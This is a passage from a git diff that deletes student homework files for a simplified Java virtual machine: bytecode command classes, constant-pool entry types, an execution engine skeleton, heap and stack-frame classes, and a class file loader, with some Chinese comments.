-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/PutFieldCmd.java b/group24/Homework/8-EighthWeek/cmd/PutFieldCmd.java
deleted file mode 100644
index dc31cf084d..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.engine.ExecutionResult;
-import com.coderising.jvm.engine.StackFrame;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
-	}
-
-
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/TwoOperandCmd.java b/group24/Homework/8-EighthWeek/cmd/TwoOperandCmd.java
deleted file mode 100644
index 6c0cf53082..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/constant/ClassInfo.java b/group24/Homework/8-EighthWeek/constant/ClassInfo.java
deleted file mode 100644
index c8e65ff493..0000000000
--- a/group24/Homework/8-EighthWeek/constant/ClassInfo.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);		
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/constant/ConstantInfo.java b/group24/Homework/8-EighthWeek/constant/ConstantInfo.java
deleted file mode 100644
index 88353df2d3..0000000000
--- a/group24/Homework/8-EighthWeek/constant/ConstantInfo.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-	public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/constant/ConstantPool.java b/group24/Homework/8-EighthWeek/constant/ConstantPool.java
deleted file mode 100644
index 7130eb3a9f..0000000000
--- a/group24/Homework/8-EighthWeek/constant/ConstantPool.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public int getSize() {		
-		return this.constantInfos.size() -1;
-	}
-	
-	
-}
diff --git a/group24/Homework/8-EighthWeek/constant/FieldRefInfo.java b/group24/Homework/8-EighthWeek/constant/FieldRefInfo.java
deleted file mode 100644
index 7ae71396ef..0000000000
--- a/group24/Homework/8-EighthWeek/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRef(this);		
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/constant/MethodRefInfo.java b/group24/Homework/8-EighthWeek/constant/MethodRefInfo.java
deleted file mode 100644
index 036e6d9055..0000000000
--- a/group24/Homework/8-EighthWeek/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRef(this);		
-	}
-	
-	
-	
-}
diff --git a/group24/Homework/8-EighthWeek/constant/NameAndTypeInfo.java b/group24/Homework/8-EighthWeek/constant/NameAndTypeInfo.java
deleted file mode 100644
index 5cbbba6033..0000000000
--- a/group24/Homework/8-EighthWeek/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);
-		
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/constant/NullConstantInfo.java b/group24/Homework/8-EighthWeek/constant/NullConstantInfo.java
deleted file mode 100644
index 41e0fd7e7a..0000000000
--- a/group24/Homework/8-EighthWeek/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-				
-	}
-	
-}
diff --git a/group24/Homework/8-EighthWeek/constant/StringInfo.java b/group24/Homework/8-EighthWeek/constant/StringInfo.java
deleted file mode 100644
index 6bfcb47273..0000000000
--- a/group24/Homework/8-EighthWeek/constant/StringInfo.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitString(this);
-		
-	}
-	
-}
diff --git a/group24/Homework/8-EighthWeek/constant/UTF8Info.java b/group24/Homework/8-EighthWeek/constant/UTF8Info.java
deleted file mode 100644
index 7db88a939e..0000000000
--- a/group24/Homework/8-EighthWeek/constant/UTF8Info.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);
-		
-	}
-	
-	
-
-}
diff --git a/group24/Homework/8-EighthWeek/engine/ExecutionResult.java b/group24/Homework/8-EighthWeek/engine/ExecutionResult.java
deleted file mode 100644
index 8f6c51e52a..0000000000
--- a/group24/Homework/8-EighthWeek/engine/ExecutionResult.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package com.coderising.jvm.engine;
-
-import com.coderising.jvm.method.Method;
-
-public class ExecutionResult {
-	public static final int RUN_NEXT_CMD = 1;
-	public static final int JUMP = 2;
-	public static final int EXIT_CURRENT_FRAME = 3;
-	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
-	
-	private int nextAction = RUN_NEXT_CMD; 
-	
-	private int nextCmdOffset = 0;
-	
-	private Method nextMethod;
-	
-	public Method getNextMethod() {
-		return nextMethod;
-	}
-	public void setNextMethod(Method nextMethod) {
-		this.nextMethod = nextMethod;
-	}
-
-	
-	
-	public void setNextAction(int action){
-		this.nextAction = action;
-	}
-	public boolean isPauseAndRunNewFrame(){
-		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
-	}
-	public boolean isExitCurrentFrame(){
-		return this.nextAction == EXIT_CURRENT_FRAME;
-	}
-	
-	public boolean isRunNextCmd(){
-		return this.nextAction == RUN_NEXT_CMD;
-	}
-	
-	public boolean isJump(){
-		return this.nextAction == JUMP;
-	}
-	
-	public int getNextCmdOffset() {
-		return nextCmdOffset;
-	}
-
-	public void setNextCmdOffset(int nextCmdOffset) {
-		this.nextCmdOffset = nextCmdOffset;
-	}
-	
-	
-	
-	
-
-}
diff --git a/group24/Homework/8-EighthWeek/engine/ExecutorEngine.java b/group24/Homework/8-EighthWeek/engine/ExecutorEngine.java
deleted file mode 100644
index 5d6b582879..0000000000
--- a/group24/Homework/8-EighthWeek/engine/ExecutorEngine.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.coderising.jvm.engine;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.method.Method;
-
-public class ExecutorEngine {
-
-	private Stack<StackFrame> stack = new Stack<StackFrame>();
-	
-	public ExecutorEngine() {
-		
-	}
-	
-	public void execute(Method mainMethod){
-		
-		
-		
-	}
-	
-	
-	
-	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
-		
-		
-		
-	}
-	
-}
diff --git a/group24/Homework/8-EighthWeek/engine/Heap.java b/group24/Homework/8-EighthWeek/engine/Heap.java
deleted file mode 100644
index 82ad210cef..0000000000
--- a/group24/Homework/8-EighthWeek/engine/Heap.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.engine;
-
-public class Heap {
-	
-	/**
-	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
-	 */
-	
-	private static Heap instance = new Heap();
-	private Heap() {		
-	}
-	public static Heap getInstance(){
-		return instance;
-	}
-	public JavaObject newObject(String clzName){
-		
-		JavaObject jo = new JavaObject(JavaObject.OBJECT);
-		jo.setClassName(clzName);
-		return jo;
-	}
-	
-	public JavaObject newString(String value){
-		JavaObject jo = new JavaObject(JavaObject.STRING);
-		jo.setStringValue(value);
-		return jo;
-	}
-	
-	public JavaObject newFloat(float value){
-		JavaObject jo = new JavaObject(JavaObject.FLOAT);
-		jo.setFloatValue(value);
-		return jo;
-	}
-	public JavaObject newInt(int value){
-		JavaObject jo = new JavaObject(JavaObject.INT);
-		jo.setIntValue(value);
-		return jo;
-	}
-
-}
diff --git a/group24/Homework/8-EighthWeek/engine/JavaObject.java b/group24/Homework/8-EighthWeek/engine/JavaObject.java
deleted file mode 100644
index 71ba382d9a..0000000000
--- a/group24/Homework/8-EighthWeek/engine/JavaObject.java
+++ /dev/null
@@ -1,71 +0,0 @@
-package com.coderising.jvm.engine;
-
-import java.util.HashMap;
-import java.util.Map;
-
-public class JavaObject {
-	public static final int OBJECT = 1;
-	public static final int STRING = 2;
-	public static final int INT = 3;
-	public static final int FLOAT = 4;
-	
-	int type;
-	private String className;
-	
-	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
-	
-	private String stringValue;
-	
-	private int intValue;
-	
-	private float floatValue;
-	
-	public void setFieldValue(String fieldName, JavaObject fieldValue){
-		fieldValues.put(fieldName, fieldValue);
-	}
-	public JavaObject(int type){
-		this.type = type;
-	}
-	public void setClassName(String className){
-		this.className = className;
-	}
-	public void setStringValue(String value){
-		stringValue = value;
-	}
-	public String getStringValue(){
-		return this.stringValue;
-	}
-	public void setIntValue(int value) {
-		this.intValue = value;		
-	}
-	public int getIntValue(){
-		return this.intValue;
-	}
-	public int getType(){
-		return type;
-	}
-	public JavaObject getFieldValue(String fieldName){
-		return this.fieldValues.get(fieldName);
-	}
-	public String toString(){
-		switch(this.getType()){
-		case INT: 
-			return String.valueOf(this.intValue);
-		case STRING:
-			return this.stringValue;
-		case OBJECT:
-			return this.className +":"+ this.fieldValues;
-		case FLOAT :
-			return String.valueOf(this.floatValue);
-		default:
-			return null;
-		}
-	}
-	public String getClassName(){
-		return this.className;
-	}
-	public void setFloatValue(float value) {
-		this.floatValue = value;		
-	}
-
-}
diff --git a/group24/Homework/8-EighthWeek/engine/MethodArea.java b/group24/Homework/8-EighthWeek/engine/MethodArea.java
deleted file mode 100644
index 781e81acf1..0000000000
--- a/group24/Homework/8-EighthWeek/engine/MethodArea.java
+++ /dev/null
@@ -1,68 +0,0 @@
-package com.coderising.jvm.engine;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-public class MethodArea {
-	
-	public static final MethodArea instance = new MethodArea();
-	
-	/**
-	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
-	 */
-	
-	private ClassFileLoader clzLoader = null;
-	
-	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
-	
-	private MethodArea(){		
-	}
-	
-	public static MethodArea getInstance(){
-		return instance;
-	}
-	
-	public void setClassFileLoader(ClassFileLoader clzLoader){
-		this.clzLoader = clzLoader;
-	}
-	
-	public Method getMainMethod(String className){
-		
-		ClassFile clzFile = this.findClassFile(className);
-		
-		return clzFile.getMainMethod();
-	}
-	
-	
-	public  ClassFile findClassFile(String className){
-		
-		if(map.get(className) != null){
-			return map.get(className);
-		}
-		// 看来该class 文件还没有load过
-		ClassFile clzFile = this.clzLoader.loadClass(className);
-		
-		map.put(className, clzFile);
-		
-		return clzFile;
-		
-	}
-	
-	
-	public Method getMethod(String className, String methodName, String paramAndReturnType){
-		
-		return null;
-	}
-	
-	
-	public Method getMethod(MethodRefInfo methodRef){		
-		
-		return null;
-			
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/engine/MiniJVM.java b/group24/Homework/8-EighthWeek/engine/MiniJVM.java
deleted file mode 100644
index 443524cc5f..0000000000
--- a/group24/Homework/8-EighthWeek/engine/MiniJVM.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.engine;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-public class MiniJVM {
-	
-	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		for(int i=0;i<classPaths.length ; i++){
-			loader.addClassPath(classPaths[i]);
-		}
-		
-		MethodArea methodArea= MethodArea.getInstance();
-		
-		methodArea.setClassFileLoader(loader);
-		
-		ExecutorEngine engine = new ExecutorEngine();
-		
-		className = className.replace(".", "/");
-		
-		engine.execute(methodArea.getMainMethod(className));
-	}
-	
-}
diff --git a/group24/Homework/8-EighthWeek/engine/StackFrame.java b/group24/Homework/8-EighthWeek/engine/StackFrame.java
deleted file mode 100644
index 5ac8768316..0000000000
--- a/group24/Homework/8-EighthWeek/engine/StackFrame.java
+++ /dev/null
@@ -1,95 +0,0 @@
-package com.coderising.jvm.engine;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.method.Method;
-
-public class StackFrame {
-	
-	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
-	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
-	
-	int index = 0;
-	
-	private Method m = null;
-	
-	private StackFrame callerFrame = null;
-	
-	public StackFrame getCallerFrame() {
-		return callerFrame;
-	}
-
-	public void setCallerFrame(StackFrame callerFrame) {
-		this.callerFrame = callerFrame;
-	}
-
-	
-	
-	
-	public static  StackFrame create(Method m){
-		
-		StackFrame frame = new StackFrame( m );			
-		
-		return frame;
-	}
-
-	
-	private StackFrame(Method m) {		
-		this.m = m;
-		
-	}
-	
-	
-	
-	public JavaObject getLocalVariableValue(int index){
-		return this.localVariableTable.get(index);
-	}
-	
-	public Stack<JavaObject> getOprandStack(){
-		return this.oprandStack;
-	}
-	
-	public int getNextCommandIndex(int offset){
-		
-		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
-		for(int i=0;i<cmds.length; i++){
-			if(cmds[i].getOffset() == offset){
-				return i;
-			}
-		}
-		throw new RuntimeException("Can't find next command");
-	}
-	
-	public ExecutionResult execute(){
-		return null;
-		
-	}
-
-	
-	
-	
-	public void setLocalVariableTable(List<JavaObject> values){
-		this.localVariableTable = values;	
-	}
-	
-	public void setLocalVariableValue(int index, JavaObject jo){
-		//问题： 为什么要这么做？？
-		if(this.localVariableTable.size()-1 < index){
-			for(int i=this.localVariableTable.size(); i<=index; i++){
-				this.localVariableTable.add(null);
-			}
-		}
-		this.localVariableTable.set(index, jo);
-		
-		
-	}
-	
-	public Method getMethod(){
-		return m;
-	}
-	
-
-}
diff --git a/group24/Homework/8-EighthWeek/field/Field.java b/group24/Homework/8-EighthWeek/field/Field.java
deleted file mode 100644
index c6eb0196f8..0000000000
--- a/group24/Homework/8-EighthWeek/field/Field.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.coderising.jvm.field;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	public String toString() {
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		return name +":"+ desc;
-	}
-	
-	
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descIndex = iter.nextU2ToInt();
-		int attribCount = iter.nextU2ToInt();
-		//System.out.println("field attribute count:"+ attribCount);
-		
-		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
-		
-		if(attribCount > 0){
-			throw new RuntimeException("Field Attribute has not been implemented");
-		}
-		
-		return f;
-	}
-
-}
diff --git a/group24/Homework/8-EighthWeek/loader/ByteCodeIterator.java b/group24/Homework/8-EighthWeek/loader/ByteCodeIterator.java
deleted file mode 100644
index 6fb5570dff..0000000000
--- a/group24/Homework/8-EighthWeek/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.util.Arrays;
-
-import com.coderising.jvm.util.Util;
-
-public  class ByteCodeIterator {
-	byte[] codes;
-	int pos = 0;
-
-	ByteCodeIterator(byte[] codes) {
-		this.codes = codes;
-	}
-
-	
-
-	public byte[] getBytes(int len) {
-		if (pos + len >= codes.length) {
-			throw new ArrayIndexOutOfBoundsException();
-		}
-
-		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
-		pos += len;
-		return data;
-	}
-
-	public int nextU1toInt() {
-
-		return Util.byteToInt(new byte[] { codes[pos++] });
-	}
-
-	public int nextU2ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
-	}
-
-	public int nextU4ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
-	}
-
-	public String nextU4ToHexString() {
-		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
-	}
-
-	public String nextUxToHexString(int len) {
-		byte[] tmp = new byte[len];
-
-		for (int i = 0; i < len; i++) {
-			tmp[i] = codes[pos++];
-		}
-		return Util.byteToHexString(tmp).toLowerCase();
-
-	}
-
-	public void back(int n) {
-		this.pos -= n;
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/loader/ClassFileLoader.java b/group24/Homework/8-EighthWeek/loader/ClassFileLoader.java
deleted file mode 100644
index 33185d8175..0000000000
--- a/group24/Homework/8-EighthWeek/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,140 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-
-import com.coderising.jvm.clz.ClassFile;
-
-
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		
-		className = className.replace('.', File.separatorChar) +".class";
-		
-		for(String path : this.clzPaths){
-			
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}			
-		}
-		
-		return null;
-		
-		
-		
-	}
-	
-	private byte[] loadClassFile(String clzFileName) {
-		
-		File f = new File(clzFileName);
-		
-		try {
-		
-			return IOUtils.toByteArray(new FileInputStream(f));
-			
-		} catch (IOException e) {			
-			e.printStackTrace();
-			return null;
-		}
-	}
-	
-	
-	
-	public void addClassPath(String path) {
-		if(this.clzPaths.contains(path)){
-			return;
-		}
-		
-		this.clzPaths.add(path);
-		
-	}
-	
-	
-	
-	public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-		
-	}
-	
-	
-	
-	// ------------------------------backup------------------------
-    public String getClassPath_V1(){
-		
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<this.clzPaths.size();i++){
-			buffer.append(this.clzPaths.get(i));
-			if(i<this.clzPaths.size()-1){
-				buffer.append(";");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	private byte[] loadClassFile_V1(String clzFileName) {
-		
-		BufferedInputStream bis = null;
-		
-		try {
-			
-			File f = new File(clzFileName);
-			
-						
-			bis = new BufferedInputStream(new FileInputStream(f));
-			
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			
-			
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);				
-			}
-			
-			byte [] codes = bos.toByteArray();
-			
-			return codes;
-			
-		} catch(IOException e){
-			e.printStackTrace();
-			
